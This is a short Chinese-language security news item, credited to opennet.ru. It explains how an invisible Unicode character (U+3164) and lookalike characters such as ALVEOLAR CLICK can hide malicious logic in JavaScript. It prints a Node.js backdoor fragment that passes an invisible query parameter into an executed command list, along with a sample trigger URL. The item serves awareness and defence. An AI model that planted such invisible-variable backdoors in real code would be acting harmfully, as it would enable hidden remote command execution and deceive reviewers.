使用不可见的 unicode 字符隐藏 JavaScript 代码中的操作

继 Trojan Source 攻击方法(基于使用 Unicode 字符改变双向文本的显示顺序)之后,另一种引入隐藏操作的技术已经发布,适用于 JavaScript 代码。 新方法基于使用unicode字符“ㅤ”(代码0x3164,“HANGUL FILLER”),该字符属于字母类别,但没有可见内容。 自 ECMAScript 2015 规范以来,该字符所属的 Unicode 类别已被允许在 JavaScript 变量名称中使用,从而可以创建不可见变量或与流行代码编辑器(例如 Notepad++ 和 VS Code)中的其他变量无法区分的新变量。

以Node.js平台的代码为例,其中使用单个字符“ㅤ”组成的变量,隐藏一个后门,允许执行攻击者指定的代码:app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // 事实上它说“const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // 逗号后跟字符 \u3164 ];

乍一看,外部参数只传递了超时值,而要执行的命令数组包含一个无害的固定列表。 但实际上,在超时变量之后,另一个字符代码为\u3164的不可见变量的值被赋值,该变量也被代入到可执行命令数组中。 因此,如果这样的设计可用,攻击者可以发送类似“https://host:8080/network_health?%E3%85%A4=command”的请求来激活后门并执行其代码。

另一个例子是字符“ǃ”(ALVEOLAR CLICK),它可以用来给出指示感叹号的外观。 例如,在 Node.js 14 中执行时,表达式“if(environmentǃ=ENV_PROD){”将始终为 true,因为它不检查差异,而是将 ENV_PROD 的值分配给变量“environmentǃ”。 其他误导性的 Unicode 字符包括“/”、“−”、“+”、“⩵”、“❨”、“⫽”、“꓿”和“*”。

来源: opennet.ru

添加评论